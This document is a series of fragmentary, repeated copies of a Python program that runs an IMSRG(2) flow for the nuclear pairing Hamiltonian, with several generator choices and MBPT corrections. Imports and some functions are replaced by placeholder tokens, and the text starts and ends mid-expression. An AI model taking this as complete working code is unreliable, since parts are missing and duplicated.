f[a, a] - f[b, b])\n me = Gamma[idx2B[a, b], idx2B[k, l]] * Gamma[\n idx2B[k, l], idx2B[i, j]] * Gamma[idx2B[i,\n j], idx2B[a, b]]\n DE3hh += 0.125 * me / denom\n for i in holes:\n for j in holes:\n for k in holes:\n for a in particles:\n for b in particles:\n for c in particles:\n denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * (\n f[k, k] + f[j, j] - f[a, a] - f[c, c])\n me = Gamma[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[k, b], idx2B[i, c]] * Gamma[idx2B[a,\n c], idx2B[k, j]]\n DE3ph -= me / denom\n return DE3pp + DE3hh + DE3ph\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n", "<import token>\n<function token>\n\n\ndef construct_basis_ph2B(holes, particles):\n basis = []\n for i in holes:\n for j in holes:\n basis.append((i, j))\n for i in holes:\n for a in particles:\n basis.append((i, a))\n for a in particles:\n for i in holes:\n basis.append((a, i))\n for a in particles:\n for b in particles:\n basis.append((a, b))\n return basis\n\n\ndef construct_index_2B(bas2B):\n index = {}\n for i, state in enumerate(bas2B):\n index[state] = i\n return index\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\ndef commutator(a, b):\n return dot(a, b) - dot(b, a)\n\n\ndef calc_fod_norm(f, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a, i] ** 2 + f[i, a] ** 2\n return np.sqrt(norm)\n\n\ndef calc_Gammaod_norm(Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n norm = 0.0\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[\n idx2B[i, j], idx2B[a, b]] ** 2\n return np.sqrt(norm)\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\ndef construct_occupationA_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationC_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] * occ1B[j]\n return occ\n\n\ndef eta_brillouin(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n eta1B[a, i] = f[a, i]\n eta1B[i, a] = -f[a, i]\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n val = Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_atan(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = 0.5 * np.arctan(2 * f[a, i] / denom)\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j\n ]] / denom)\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\ndef derivative_wrapper(t, y, user_data):\n dim1B = user_data['dim1B']\n dim2B = dim1B * dim1B\n holes = user_data['holes']\n particles = user_data['particles']\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occA_2B = user_data['occA_2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n calc_eta = user_data['calc_eta']\n calc_rhs = user_data['calc_rhs']\n E, f, Gamma = get_operator_from_y(y, dim1B, dim2B)\n eta1B, eta2B = calc_eta(f, Gamma, user_data)\n dE, df, dGamma = calc_rhs(eta1B, eta2B, f, Gamma, user_data)\n dy = np.append([dE], np.append(reshape(df, -1), reshape(dGamma, -1)))\n user_data['dE'] = dE\n user_data['eta_norm'] = np.linalg.norm(eta1B, ord='fro') + np.linalg.norm(\n eta2B, ord='fro')\n return dy\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\ndef normal_order(H1B, H2B, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n particles = user_data['particles']\n holes = user_data['holes']\n E = 0.0\n for i in holes:\n E += H1B[i, i]\n for i in holes:\n for j in holes:\n E += 0.5 * H2B[idx2B[i, j], idx2B[i, j]]\n f = H1B\n for i in bas1B:\n for j in bas1B:\n for h in holes:\n f[i, j] += H2B[idx2B[i, h], idx2B[j, h]]\n Gamma = H2B\n return E, f, Gamma\n\n\ndef calc_mbpt2(f, Gamma, user_data):\n DE2 = 0.0\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n denom = f[i, i] + f[j, j] - f[a, a] - f[b, b]\n me = Gamma[idx2B[a, b], idx2B[i, j]]\n DE2 += 0.25 * me * me / denom\n return DE2\n\n\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n", "<import token>\n<function token>\n\n\ndef construct_basis_ph2B(holes, particles):\n basis = []\n for i in holes:\n for j in holes:\n basis.append((i, j))\n for i in holes:\n for a in particles:\n basis.append((i, a))\n for a in particles:\n for i in holes:\n basis.append((a, i))\n for a in particles:\n for b in particles:\n basis.append((a, b))\n return basis\n\n\ndef construct_index_2B(bas2B):\n index = {}\n for i, state in enumerate(bas2B):\n index[state] = i\n return index\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n\n\ndef calc_fod_norm(f, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a, i] ** 2 + f[i, a] ** 2\n return np.sqrt(norm)\n\n\ndef calc_Gammaod_norm(Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n norm = 0.0\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[\n idx2B[i, j], idx2B[a, b]] ** 2\n return np.sqrt(norm)\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\ndef construct_occupationA_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationC_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] * occ1B[j]\n return occ\n\n\ndef eta_brillouin(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n eta1B[a, i] = f[a, i]\n eta1B[i, a] = -f[a, i]\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n val = Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_atan(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = 0.5 * np.arctan(2 * f[a, i] / denom)\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = 0.5 * np.arctan(2 * 